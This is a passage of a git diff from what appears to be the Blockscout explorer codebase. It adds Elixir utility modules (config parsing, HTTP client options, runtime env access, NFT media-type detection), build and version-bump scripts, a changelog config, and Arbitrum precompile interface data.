+ :__compile_time_env_vars, + {Application.compile_env(app, key_or_path), {app, key_or_path}} + ) + end + + def __mix_recompile__? do + @__compile_time_env_vars + |> Enum.map(fn + {value, {app, [key | path]}} -> value != get_in(Application.get_env(app, key), path) + {value, {app, key}} -> value != Application.get_env(app, key) + end) + |> Enum.any?() + end + end + end +end diff --git a/apps/utils/lib/utils/config_helper.ex b/apps/utils/lib/utils/config_helper.ex new file mode 100644 index 000000000000..6541317f6bb1 --- /dev/null +++ b/apps/utils/lib/utils/config_helper.ex @@ -0,0 +1,19 @@ +defmodule Utils.ConfigHelper do + @moduledoc """ + Helper functions for parsing config values. + """ + + @doc """ + Parses a time value from a string. + """ + @spec parse_time_value(String.t()) :: non_neg_integer() | :error + def parse_time_value(value) do + case value |> String.downcase() |> Integer.parse() do + {milliseconds, "ms"} -> milliseconds + {hours, "h"} -> :timer.hours(hours) + {minutes, "m"} -> :timer.minutes(minutes) + {seconds, s} when s in ["s", ""] -> :timer.seconds(seconds) + _ -> :error + end + end +end diff --git a/apps/utils/lib/utils/helper.ex b/apps/utils/lib/utils/helper.ex new file mode 100644 index 000000000000..bf891ec462b9 --- /dev/null +++ b/apps/utils/lib/utils/helper.ex @@ -0,0 +1,43 @@ +defmodule Utils.Helper do + @moduledoc """ + This module contains helper functions for the entire application. + """ + + @doc """ + Retrieves the host URL for the application. + + ## Returns + + - A string containing the host URL for the application. + """ + @spec instance_url :: URI.t() + def instance_url do + %URI{scheme: scheme(), host: host(), port: port(), path: path()} + end + + defp url_params do + Application.get_env(:block_scout_web, BlockScoutWeb.Endpoint)[:url] + end + + defp scheme do + Keyword.get(url_params(), :scheme, "http") + end + + defp host do + url_params()[:host] + end + + defp port do + url_params()[:http][:port] + end + + defp path do + raw_path = url_params()[:path] + + if raw_path |> String.ends_with?("/") do + raw_path |> String.slice(0..-2//1) + else + raw_path + end + end +end diff --git a/apps/utils/lib/utils/http_client/httpoison_helper.ex b/apps/utils/lib/utils/http_client/httpoison_helper.ex new file mode 100644 index 000000000000..c4dcd9f4ccb3 --- /dev/null +++ b/apps/utils/lib/utils/http_client/httpoison_helper.ex @@ -0,0 +1,62 @@ +defmodule Utils.HttpClient.HTTPoisonHelper do + @moduledoc """ + Helper module for building HTTPoison request options. + + This module provides utilities to construct keyword lists of options + for HTTPoison HTTP client requests, including timeouts, authentication, + redirects, and connection pooling. + """ + + def request_opts(options) do + [] + |> add_recv_timeout_option(options[:recv_timeout]) + |> add_timeout_option(options[:timeout]) + |> add_basic_auth_option(options[:basic_auth]) + |> add_pool_option(options[:pool]) + |> add_follow_redirect_option(options[:follow_redirect]) + |> add_insecure_option(options[:insecure]) + |> add_params_option(options[:params]) + end + + defp add_recv_timeout_option(options, nil), do: options + + defp add_recv_timeout_option(options, timeout) do + Keyword.put(options, :recv_timeout, timeout) + end + + defp add_params_option(options, nil), do: options + + defp add_params_option(options, params) do + Keyword.put(options, :params, params) + end + + defp add_timeout_option(options, nil), do: options + + defp add_timeout_option(options, timeout) do + Keyword.put(options, :timeout, timeout) + end + + defp add_follow_redirect_option(options, nil), do: options + + defp add_follow_redirect_option(options, follow_redirect) do + Keyword.put(options, :follow_redirect, follow_redirect) + end + + defp add_insecure_option(options, true) do + Keyword.put(options, :hackney, [:insecure | options[:hackney] || []]) + end + + defp add_insecure_option(options, _insecure), do: options + + defp add_basic_auth_option(options, {username, password}) do + Keyword.put(options, :hackney, [{:basic_auth, {username, password}} | options[:hackney] || []]) + end + + defp add_basic_auth_option(options, _basic_auth), do: options + + defp add_pool_option(options, nil), do: options + + defp add_pool_option(options, pool) do + Keyword.put(options, :hackney, [{:pool, pool} | options[:hackney] || []]) + end +end diff --git a/apps/utils/lib/utils/http_client/tesla_helper.ex b/apps/utils/lib/utils/http_client/tesla_helper.ex new file mode 100644 index 000000000000..74b1c8d35939 --- /dev/null +++ b/apps/utils/lib/utils/http_client/tesla_helper.ex @@ -0,0 +1,85 @@ +defmodule Utils.HttpClient.TeslaHelper do + @moduledoc """ + Helper module for building Tesla HTTP clients and adapter options. + + This module provides utilities to construct Tesla clients with appropriate + middleware and adapter options, including timeouts, authentication, redirects, + and TLS settings. + """ + + @doc """ + Builds a Tesla client with configured middleware based on the provided options. + + ## Parameters + - `options`: A keyword list or map containing HTTP client options + + ## Returns + - A Tesla client struct with configured middleware + """ + @spec client(keyword() | map()) :: Tesla.Client.t() + def client(options) do + options[:recv_timeout] + |> add_timeout_middleware() + |> add_follow_redirect_middleware(options[:follow_redirect]) + |> add_basic_auth_middleware(options[:basic_auth]) + |> Tesla.client() + end + + @doc """ + Builds adapter options for Tesla HTTP client requests from the provided options map. + + ## Parameters + - `options`: A keyword list or map containing HTTP client options + + ## Returns + - A keyword list containing adapter options for Tesla + """ + @spec request_opts(keyword() | map()) :: keyword() + def request_opts(options) do + adapter_options = + [protocols: [:http1]] + |> add_recv_timeout_option(options[:recv_timeout]) + |> add_timeout_option(options[:timeout]) + |> add_insecure_option(options[:insecure]) + + [adapter: adapter_options] + end + + defp add_timeout_middleware(middleware \\ [], timeout) + + defp add_timeout_middleware(middleware, nil), do: middleware + + defp add_timeout_middleware(middleware, timeout) do + [{Tesla.Middleware.Timeout, timeout: timeout} | middleware] + end + + defp add_follow_redirect_middleware(middleware, true) do + [Tesla.Middleware.FollowRedirects | middleware] + end + + defp add_follow_redirect_middleware(middleware, _follow_redirect?), do: middleware + + defp add_basic_auth_middleware(middleware, {username, password}) do + [{Tesla.Middleware.BasicAuth, %{username: username, password: password}} | middleware] + end + + defp add_basic_auth_middleware(middleware, _basic_auth), do: middleware + + defp add_recv_timeout_option(options, nil), do: options + + defp add_recv_timeout_option(options, timeout) do + Keyword.put(options, :timeout, timeout) + end + + defp add_timeout_option(options, nil), do: options + + defp add_timeout_option(options, timeout) do + Keyword.put(options, :transport_opts, [{:timeout, timeout} | options[:transport_opts] || []]) + end + + defp add_insecure_option(options, true) do + Keyword.put(options, :transport_opts, [{:verify, :verify_none} | options[:transport_opts] || []]) + end + + defp add_insecure_option(options, _insecure), do: options +end diff --git a/apps/utils/lib/utils/runtime_env_helper.ex b/apps/utils/lib/utils/runtime_env_helper.ex new file mode 100644 index 000000000000..75193f4d41e4 --- /dev/null +++ b/apps/utils/lib/utils/runtime_env_helper.ex @@ -0,0 +1,81 @@ +defmodule Utils.RuntimeEnvHelper do + @moduledoc """ + A module that provides runtime access to environment variables with a similar + interface to CompileTimeEnvHelper, but without requiring recompilation when + values change. + + This module automatically: + + 1. Defines a sibling module with your environment functions + 2. Imports the functions into your main module + 3. Makes them available at both compile time (when referenced within a macro) + and runtime + + ## Usage + + ```elixir + defmodule MyModule do + use Utils.RuntimeEnvHelper, + mud_enabled?: [:explorer, [Explorer.Chain.Mud, :enabled]], + api_enabled?: [:block_scout_web, :api_enabled] + + pipeline :mud do + plug(CheckFeature, feature_check: &mud_enabled?/0) + end + + def process do + if api_enabled?() do + # API-specific logic + end + end + end + ``` + """ + + defmacro __using__(env_vars) do + # Extract caller module information + caller_module = __CALLER__.module + # Generate the runtime env module name + sibling_module = Module.concat(caller_module, "__RuntimeEnvs__") + + sibling_module_body = + for {var_name, path} <- env_vars do + quote do + def unquote(var_name)() do + # credo:disable-for-next-line Credo.Check.Design.AliasUsage + Utils.RuntimeEnvHelper.get_env(unquote(path)) + end + end + end + + # Define the module outside the caller's context + Module.create(sibling_module, sibling_module_body, __CALLER__) + + # Return only the import directive for the caller module + quote do + import unquote(sibling_module) + end + end + + @doc """ + Gets an environment variable value at runtime based on its path. + + ## Examples + + iex> Utils.RuntimeEnvHelper.get_env([:my_app, :api_url]) + "https://example.com" + + iex> Utils.RuntimeEnvHelper.get_env([:my_app, [Database, :host]]) + "localhost" + """ + @spec get_env([atom() | [atom()]]) :: any() + def get_env([app, [key | path]]) when is_list(path) do + app + |> Application.get_env(key) + |> get_in(path) + end + + def get_env([app, key]) do + Application.get_env(app, key) + end +end diff --git a/apps/utils/lib/utils/token_instance_helper.ex b/apps/utils/lib/utils/token_instance_helper.ex new file mode 100644 index 000000000000..cd6f6bbe1588 --- /dev/null +++ b/apps/utils/lib/utils/token_instance_helper.ex @@ -0,0 +1,70 @@ +defmodule Utils.TokenInstanceHelper do + @moduledoc """ + Auxiliary functions for NFTs + """ + + @doc """ + Determines the media type of the given URL. + + ## Parameters + + - url: The URL to check the media type for. + - headers: Optional list of headers to include in the request. Defaults to an empty list. + - treat_data_as_valid_media_type?: Optional boolean flag to treat url of `data:image/` format as a valid media type. Defaults to true. + + ## Returns + + The media type of the given URL, or nil + """ + @spec media_type(binary(), list(), boolean()) :: {binary(), binary()} | nil + def media_type(url, headers \\ [], treat_data_as_valid_media_type? \\ true) + + def media_type("data:image/" <> _data, _headers, true) do + {"image", ""} + end + + def media_type("data:video/" <> _data, _headers, true) do + {"video", ""} + end + + def media_type("data:" <> _data, _headers, _) do + nil + end + + def media_type(media_src, headers, _) when not is_nil(media_src) do + ext = media_src |> Path.extname() |> String.trim() + + mime_type = + if ext == "" do + process_missing_extension(media_src, headers) + else + ext_with_dot = + media_src + |> Path.extname() + + "." <> ext = ext_with_dot + + ext + |> MIME.type() + end + + if mime_type do + mime_type |> String.split("/") |> List.to_tuple() + else + nil + end + end + + def media_type(nil, _headers, _), do: nil + + defp process_missing_extension(media_src, headers) do + case HTTPoison.head(media_src, headers, follow_redirect: true) do + {:ok, %HTTPoison.Response{status_code: 200, headers: headers}} -> + headers_map = Map.new(headers, fn {key, value} -> {String.downcase(key), value} end) + headers_map["content-type"] + + _ -> + nil + end + end +end diff --git a/apps/utils/mix.exs b/apps/utils/mix.exs new file mode 100644 index 000000000000..f59093919e3b --- /dev/null +++ b/apps/utils/mix.exs @@ -0,0 +1,42 @@ +defmodule Utils.MixProject do + use Mix.Project + + def project do + [ + app: :utils, + version: "9.1.1", + build_path: "../../_build", + # config_path: "../../config/config.exs", + deps_path: "../../deps", + lockfile: "../../mix.lock", + elixir: "~> 1.17", + elixirc_paths: elixirc_paths(Mix.env()), + start_permanent: Mix.env() == :prod, + deps: deps(), + preferred_cli_env: [ + credo: :test, + dialyzer: :test + ] + ] + end + + # Run "mix help compile.app" to learn about applications. + def application do + [ + extra_applications: [:logger, :tesla] + ] + end + + # Run "mix help deps" to learn about dependencies. + defp deps do + [ + {:credo, "~> 1.5", only: [:test, :dev], runtime: false}, + {:httpoison, "~> 2.0"}, + {:mime, "~> 2.0"}, + {:tesla, "~> 1.15.3"} + ] + end + + defp elixirc_paths(:prod), do: ["lib/utils", "lib/*"] + defp elixirc_paths(_), do: ["lib"] +end diff --git a/apps/utils/test/checks/compile_env_usage_test.exs b/apps/utils/test/checks/compile_env_usage_test.exs new file mode 100644 index 000000000000..3422a8ccb3e3 --- /dev/null +++ b/apps/utils/test/checks/compile_env_usage_test.exs @@ -0,0 +1,38 @@ +defmodule Utils.Credo.Checks.CompileEnvUsageTest do + use Credo.Test.Case + + alias Utils.Credo.Checks.CompileEnvUsage + + test "finds violations" do + """ + defmodule CredoSampleModule do + @test Application.compile_env(:blockscout, :test) + end + """ + |> to_source_file() + |> run_check(CompileEnvUsage) + |> assert_issue() + end + + test "ignores compile_time_env_helper.ex" do + """ + defmodule CredoSampleModule do + @test Application.compile_env(:blockscout, :test) + end + """ + |> to_source_file("utils/compile_time_env_helper.ex") + |> run_check(CompileEnvUsage) + |> refute_issues() + end + + test "no false positives" do + """ + defmodule CredoSampleModule do + use Utils.CompileTimeEnvHelper, test: [:blockscout, :test] + end + """ + |> to_source_file() + |> run_check(CompileEnvUsage) + |> refute_issues() + end +end diff --git a/apps/utils/test/test_helper.exs b/apps/utils/test/test_helper.exs new file mode 100644 index 000000000000..97950157e27c --- /dev/null +++ b/apps/utils/test/test_helper.exs @@ -0,0 +1 @@ +{:ok, _} = Application.ensure_all_started(:credo) diff --git a/bin/deploy b/bin/deploy index f346f52f99e0..acb9750618ca 100755 --- a/bin/deploy +++ b/bin/deploy @@ -120,5 +120,5 @@ for chain in $CHAINS; do i=$((i+1)) done -log "Deployment task has succesfully completed!" +log "Deployment task has successfully completed!" exit 0 diff --git a/bin/install_chrome_headless.sh b/bin/install_chrome_headless.sh index 1b365ed7a861..63f2d98a2493 100755 --- a/bin/install_chrome_headless.sh +++ b/bin/install_chrome_headless.sh @@ -1,11 +1,12 @@ export DISPLAY=:99.0 sh -e /etc/init.d/xvfb start -# export CHROMEDRIVER_VERSION=`curl -s http://chromedriver.storage.googleapis.com/LATEST_RELEASE` -export CHROMEDRIVER_VERSION=`104.0.5112.79` -curl -L -O "http://chromedriver.storage.googleapis.com/${CHROMEDRIVER_VERSION}/chromedriver_linux64.zip" -unzip chromedriver_linux64.zip + +export CHROMEDRIVER_VERSION=$(curl -s "https://googlechromelabs.github.io/chrome-for-testing/last-known-good-versions.json" | jq -r '.channels' | jq -r '.Stable' | jq -r '.version') +curl -L -O "https://edgedl.me.gvt1.com/edgedl/chrome/chrome-for-testing/${CHROMEDRIVER_VERSION}/linux64/chromedriver-linux64.zip" +unzip -j chromedriver-linux64.zip sudo chmod +x chromedriver sudo mv chromedriver /usr/local/bin wget https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb sudo apt install ./google-chrome-stable_current_amd64.deb +sudo apt-get update sudo apt-get install libstdc++6 diff --git a/bin/version_bump.sh b/bin/version_bump.sh new file mode 100755 index 000000000000..1452ec47ce36 --- /dev/null +++ b/bin/version_bump.sh @@ -0,0 +1,83 @@ +#!/bin/bash + +# Path to the mix.exs file +MIX_FILES=( + "$(pwd)/mix.exs" + "$(pwd)/apps/block_scout_web/mix.exs" + "$(pwd)/apps/explorer/mix.exs" + "$(pwd)/apps/indexer/mix.exs" + "$(pwd)/apps/ethereum_jsonrpc/mix.exs" + "$(pwd)/apps/utils/mix.exs" + "$(pwd)/apps/nft_media_handler/mix.exs" +) +CONFIG_FILE="$(pwd)/rel/config.exs" +DOCKER_COMPOSE_FILE="$(pwd)/docker-compose/docker-compose.yml" +DOCKER_COMPOSE_NO_SERVICES_FILE="$(pwd)/docker-compose/no-services.yml" +MAKE_FILE="$(pwd)/docker/Makefile" +WORKFLOW_FILES=($(find "$(pwd)/.github/workflows" -type f \( -name "pre-release*" -o -name "release*" -o -name "publish-regular-docker-image-on-demand*" -o -name "publish-docker-image-*" -o -name "generate-swagger*" \))) +METADATA_RETRIEVER_FILE="$(pwd)/apps/explorer/lib/explorer/token/metadata_retriever.ex" + +# Function to bump version +bump_version() { + local type=$1 + local custom_version=$2 + + # Extract the current version + MIX_FILE="${MIX_FILES[0]}" + current_version=$(grep -o 'version: "[0-9]\+\.[0-9]\+\.[0-9]\+"' "$MIX_FILE" | grep -o '[0-9]\+\.[0-9]\+\.[0-9]\+') + echo "Current version: $current_version" + + # Split the version into its components + IFS='.' read -r -a version_parts <<< "$current_version" + + # Check if the --patch flag is provided + if [[ "$type" == "--patch" ]]; then + # Increment the patch version + version_parts[2]=$((version_parts[2] + 1)) + elif [[ "$type" == "--minor" ]]; then + # Increment the minor version and reset the patch version + version_parts[1]=$((version_parts[1] + 1)) + version_parts[2]=0 + elif [[ "$type" == "--major" ]]; then + # Increment the major version and reset the minor and patch versions + version_parts[0]=$((version_parts[0] + 1)) + version_parts[1]=0 + version_parts[2]=0 + elif [[ "$type" == "--update-to-version" ]]; then + # Apply the version from the 3rd argument + if [[ -z "$2" ]]; then + echo "Error: No version specified for --update-to-version." + exit 1 + fi + new_version="$custom_version" + IFS='.' read -r -a version_parts <<< "$new_version" + else + echo "No --patch flag provided. Exiting." + exit 1 + fi + + # Join the version parts back together + new_version="${version_parts[0]}.${version_parts[1]}.${version_parts[2]}" + + # Replace the old version with the new version in the mix.exs files + for MIX_FILE in "${MIX_FILES[@]}"; do + sed -i '' "s/version: \"$current_version\"/version: \"$new_version\"/" "$MIX_FILE" + done + + sed -i '' "s/version: \"$current_version\"/version: \"$new_version\"/" "$CONFIG_FILE" + # sed -i '' "s/RELEASE_VERSION: $current_version/RELEASE_VERSION: $new_version/" "$DOCKER_COMPOSE_FILE" + # sed -i '' "s/RELEASE_VERSION: $current_version/RELEASE_VERSION: $new_version/" "$DOCKER_COMPOSE_NO_SERVICES_FILE" + sed -i '' "s/RELEASE_VERSION ?= '$current_version'/RELEASE_VERSION ?= '$new_version'/" "$MAKE_FILE" + + # Replace the old version with the new version in the GitHub workflows files + for WORKFLOW_FILE in "${WORKFLOW_FILES[@]}"; do + sed -i '' "s/RELEASE_VERSION: $current_version/RELEASE_VERSION: $new_version/" "$WORKFLOW_FILE" + done + + sed -i '' "s/\"blockscout-$current_version\"/\"blockscout-$new_version\"/" "$METADATA_RETRIEVER_FILE" + + echo "Version bumped from $current_version to $new_version" +} + +# Call the function +bump_version "$1" "$2" diff --git a/cliff.toml b/cliff.toml new file mode 100644 index 000000000000..dd8e87fbd0f1 --- /dev/null +++ b/cliff.toml @@ -0,0 +1,84 @@ +# git-cliff ~ default configuration file +# https://git-cliff.org/docs/configuration +# +# Lines starting with "#" are comments. +# Configuration options are organized into tables and keys. +# See documentation for more information on available options. + +[changelog] +# changelog header +header = """ +# Changelog\n +""" +body = """ +{% if version %}\ + ## [{{ version | trim_start_matches(pat="v") }}] - {{ timestamp | date(format="%Y-%m-%d") }} +{% else %}\ + ## Current +{% endif %}\ +{% for group, commits in commits | group_by(attribute="group") %} + ### {{ group | striptags | trim | upper_first }} + {% for commit in commits %} + - {% if commit.scope %}*({{ commit.scope }})* {% endif %}\ + {% if commit.breaking %}[**breaking**] {% endif %}\ + {{ commit.message | upper_first }}\ + {% endfor %} +{% endfor %}\n +""" +# template for the changelog footer +footer = """ + +""" +# remove the leading and trailing s +trim = true +# postprocessors +postprocessors = [ + # { pattern = '', replace = "https://github.com/orhun/git-cliff" }, # replace repository URL +] + +[git] +# parse the commits based on https://www.conventionalcommits.org +conventional_commits = true +# filter out the commits that are not conventional +filter_unconventional = false +# process each line of a commit as an individual commit +split_commits = false +# regex for preprocessing the commit messages +commit_preprocessors = [ + # Replace issue numbers + { pattern = '\((\w+\s)?#([0-9]+)\)', replace = "([#${2}](https://github.com/blockscout/blockscout/issues/${2}))"}, + # Check spelling of the commit with https://github.com/crate-ci/typos + # If the spelling is incorrect, it will be automatically fixed. + #{ pattern = '.*', replace_command = 'typos --write-changes -' }, +] +# regex for parsing and grouping commits +commit_parsers = [ + { message = "(?i)^feat", group = "🚀 Features" }, + { message = "(?i)^fix", group = "🐛 Bug Fixes" }, + { message = "(?i)^doc", group = "📚 Documentation" }, + { message = "(?i)^perf", group = "⚡ Performance" }, + { message = "(?i)^refactor", group = "🚜 Refactor" }, + { message = "(?i)^chore\\(release\\): prepare for", skip = true }, + { message = "(?i)^chore\\(deps.*\\)", skip = true }, + { message = "(?i)^chore\\(pr\\)", skip = true }, + { message = "(?i)^chore\\(pull\\)", skip = true }, + { message = "(?i)^chore|^ci", group = "⚙️ Miscellaneous Tasks" }, + { body = ".*security", group = "🛡️ Security" }, + { message = "^revert", group = "◀️ Revert" }, +] +# protect breaking changes from being skipped due to matching a skipping commit_parser +protect_breaking_commits = false +# filter out the commits that are not matched by commit parsers +filter_commits = true +# regex for matching git tags +# tag_pattern = "v[0-9].*" +# regex for skipping tags +# skip_tags = "" +# regex for ignoring tags +# ignore_tags = "" +# sort the tags topologically +topo_order = false +# sort the commits inside sections by oldest/newest order +sort_commits = "newest" +# limit the number of commits included in the changelog. +# limit_commits = 42 diff --git a/config/assets/precompiles-arbitrum.json b/config/assets/precompiles-arbitrum.json new file mode 100644 index 000000000000..4dcfac003eb2 --- /dev/null +++ b/config/assets/precompiles-arbitrum.json @@ -0,0 +1,130 @@ +[ + { + "address": "0x00000000000000000000000000000000000a4b05", + "name": "ArbOS", + "bytecode": "0xfe", + "compiler": "EVM Hypervisor (go 1.17)", + "source": "// SPDX-License-Identifier: Apache-2.0\n\n/*\n * Copyright 2020, Offchain Labs, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npragma solidity >=0.4.21 <0.9.0;\n\n/**\n * @title This precompile represents ArbOS's internal actions as calls it makes to itself\n * @notice Calling this precompile will always revert and should not be done.\n */\ninterface ArbosActs {\n /**\n * @notice ArbOS \"calls\" this when starting a block\n * @param l1BaseFee the L1 BaseFee\n * @param l1BlockNumber the L1 block number\n * @param timePassed number of seconds since the last block\n */\n function startBlock(\n uint256 l1BaseFee,\n uint64 l1BlockNumber,\n uint64 l2BlockNumber,\n uint64 timePassed\n ) external;\n\n function batchPostingReport(\n uint256 batchTimestamp,\n address batchPosterAddress,\n uint64 batchNumber,\n uint64 batchDataGas,\n uint256 l1BaseFeeWei\n ) external;\n\n error CallerNotArbOS();\n}\n", + "abi": "[{\"inputs\":[],\"name\":\"CallerNotArbOS\",\"type\":\"error\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"batchTimestamp\",\"type\":\"uint256\"},{\"internalType\":\"address\",\"name\":\"batchPosterAddress\",\"type\":\"address\"},{\"internalType\":\"uint64\",\"name\":\"batchNumber\",\"type\":\"uint64\"},{\"internalType\":\"uint64\",\"name\":\"batchDataGas\",\"type\":\"uint64\"},{\"internalType\":\"uint256\",\"name\":\"l1BaseFeeWei\",\"type\":\"uint256\"}],\"name\":\"batchPostingReport\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"l1BaseFee\",\"type\":\"uint256\"},{\"internalType\":\"uint64\",\"name\":\"l1BlockNumber\",\"type\":\"uint64\"},{\"internalType\":\"uint64\",\"name\":\"l2BlockNumber\",\"type\":\"uint64\"},{\"internalType\":\"uint64\",\"name\":\"timePassed\",\"type\":\"uint64\"}],\"name\":\"startBlock\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}]\n" + }, + { + "address": "0x0000000000000000000000000000000000000064", + "name": "ArbSys", + "bytecode": "0xfe", + "compiler": "L2 Precompile (go 1.17)", + "source": "// Copyright 2021-2022, Offchain Labs, Inc.\n// For license information, see https://github.com/OffchainLabs/nitro-contracts/blob/main/LICENSE\n// SPDX-License-Identifier: BUSL-1.1\n\npragma solidity >=0.4.21 <0.9.0;\n\n/**\n * @title System level functionality\n * @notice For use by contracts to interact with core L2-specific functionality.\n * Precompiled contract that exists in every Arbitrum chain at address(100), 0x0000000000000000000000000000000000000064.\n */\ninterface ArbSys {\n /**\n * @notice Get Arbitrum block number (distinct from L1 block number; Arbitrum genesis block has block number 0)\n * @return block number as int\n */\n function arbBlockNumber() external view returns (uint256);\n\n /**\n * @notice Get Arbitrum block hash (reverts unless currentBlockNum-256 <= arbBlockNum < currentBlockNum)\n * @return block hash\n */\n function arbBlockHash(uint256 arbBlockNum) external view returns (bytes32);\n\n /**\n * @notice Gets the rollup's unique chain identifier\n * @return Chain identifier as int\n */\n function arbChainID() external view returns (uint256);\n\n /**\n * @notice Get internal version number identifying an ArbOS build\n * @return version number as int\n */\n function arbOSVersion() external view returns (uint256);\n\n /**\n * @notice Returns 0 since Nitro has no concept of storage gas\n * @return uint 0\n */\n function getStorageGasAvailable() external view returns (uint256);\n\n /**\n * @notice (deprecated) check if current call is top level (meaning it was triggered by an EoA or a L1 contract)\n * @dev this call has been deprecated and may be removed in a future release\n * @return true if current execution frame is not a call by another L2 contract\n */\n function isTopLevelCall() external view returns (bool);\n\n /**\n * @notice map L1 sender contract address to its L2 alias\n * @param sender sender address\n * @param unused argument no longer used\n * @return aliased sender address\n */\n function mapL1SenderContractAddressToL2Alias(address sender, address unused)\n external\n pure\n returns (address);\n\n /**\n * @notice check if the caller (of this caller of this) is an aliased L1 contract address\n * @return true iff the caller's address is an alias for an L1 contract address\n */\n function wasMyCallersAddressAliased() external view returns (bool);\n\n /**\n * @notice return the address of the caller (of this caller of this), without applying L1 contract address aliasing\n * @return address of the caller's caller, without applying L1 contract address aliasing\n */\n function myCallersAddressWithoutAliasing() external view returns (address);\n\n /**\n * @notice Send given amount of Eth to dest from sender.\n * This is a convenience function, which is equivalent to calling sendTxToL1 with empty data.\n * @param destination recipient address on L1\n * @return unique identifier for this L2-to-L1 transaction.\n */\n function withdrawEth(address destination) external payable returns (uint256);\n\n /**\n * @notice Send a transaction to L1\n * @dev it is not possible to execute on the L1 any L2-to-L1 transaction which contains data\n * to a contract address without any code (as enforced by the Bridge contract).\n * @param destination recipient address on L1\n * @param data (optional) calldata for L1 contract call\n * @return a unique identifier for this L2-to-L1 transaction.\n */\n function sendTxToL1(address destination, bytes calldata data)\n external\n payable\n returns (uint256);\n\n /**\n * @notice Get send Merkle tree state\n * @return size number of sends in the history\n * @return root root hash of the send history\n * @return partials hashes of partial subtrees in the send history tree\n */\n function sendMerkleTreeState()\n external\n view\n returns (\n uint256 size,\n bytes32 root,\n bytes32[] memory partials\n );\n\n /**\n * @notice creates a send txn from L2 to L1\n * @param position = (level << 192) + leaf = (0 << 192) + leaf = leaf\n */\n event L2ToL1Tx(\n address caller,\n address indexed destination,\n uint256 indexed hash,\n uint256 indexed position,\n uint256 arbBlockNum,\n uint256 ethBlockNum,\n uint256 timestamp,\n uint256 callvalue,\n bytes data\n );\n\n /// @dev DEPRECATED in favour of the new L2ToL1Tx event above after the nitro upgrade\n event L2ToL1Transaction(\n address caller,\n address indexed destination,\n uint256 indexed uniqueId,\n uint256 indexed batchNumber,\n uint256 indexInBatch,\n uint256 arbBlockNum,\n uint256 ethBlockNum,\n uint256 timestamp,\n uint256 callvalue,\n bytes data\n );\n\n /**\n * @notice logs a merkle branch for proof synthesis\n * @param reserved an index meant only to align the 4th index with L2ToL1Transaction's 4th event\n * @param hash the merkle hash\n * @param position = (level << 192) + leaf\n */\n event SendMerkleUpdate(\n uint256 indexed reserved,\n bytes32 indexed hash,\n uint256 indexed position\n );\n\n error InvalidBlockNumber(uint256 requested, uint256 current);\n}\n", + "abi": "[{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"requested\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"current\",\"type\":\"uint256\"}],\"name\":\"InvalidBlockNumber\",\"type\":\"error\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address\",\"name\":\"caller\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"destination\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"uint256\",\"name\":\"uniqueId\",\"type\":\"uint256\"},{\"indexed\":true,\"internalType\":\"uint256\",\"name\":\"batchNumber\",\"type\":\"uint256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"indexInBatch\",\"type\":\"uint256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"arbBlockNum\",\"type\":\"uint256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"ethBlockNum\",\"type\":\"uint256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"timestamp\",\"type\":\"uint256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"callvalue\",\"type\":\"uint256\"},{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"data\",\"type\":\"bytes\"}],\"name\":\"L2ToL1Transaction\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address\",\"name\":\"caller\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"destination\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"uint256\",\"name\":\"hash\",\"type\":\"uint256\"},{\"indexed\":true,\"internalType\":\"uint256\",\"name\":\"position\",\"type\":\"uint256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"arbBlockNum\",\"type\":\"uint256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"ethBlockNum\",\"type\":\"uint256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"timestamp\",\"type\":\"uint256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"callvalue\",\"type\":\"uint256\"},{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"data\",\"type\":\"bytes\"}],\"name\":\"L2ToL1Tx\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"uint256\",\"name\":\"reserved\",\"type\":\"uint256\"},{\"indexed\":true,\"internalType\":\"bytes32\",\"name\":\"hash\",\"type\":\"bytes32\"},{\"indexed\":true,\"internalType\":\"uint256\",\"name\":\"position\",\"type\":\"uint256\"}],\"name\":\"SendMerkleUpdate\",\"type\":\"event\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"arbBlockNum\",\"type\":\"uint256\"}],\"name\":\"arbBlockHash\",\"outputs\":[{\"internalType\":\"bytes32\",\"name\":\"\",\"type\":\"bytes32\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"arbBlockNumber\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"arbChainID\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"arbOSVersion\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\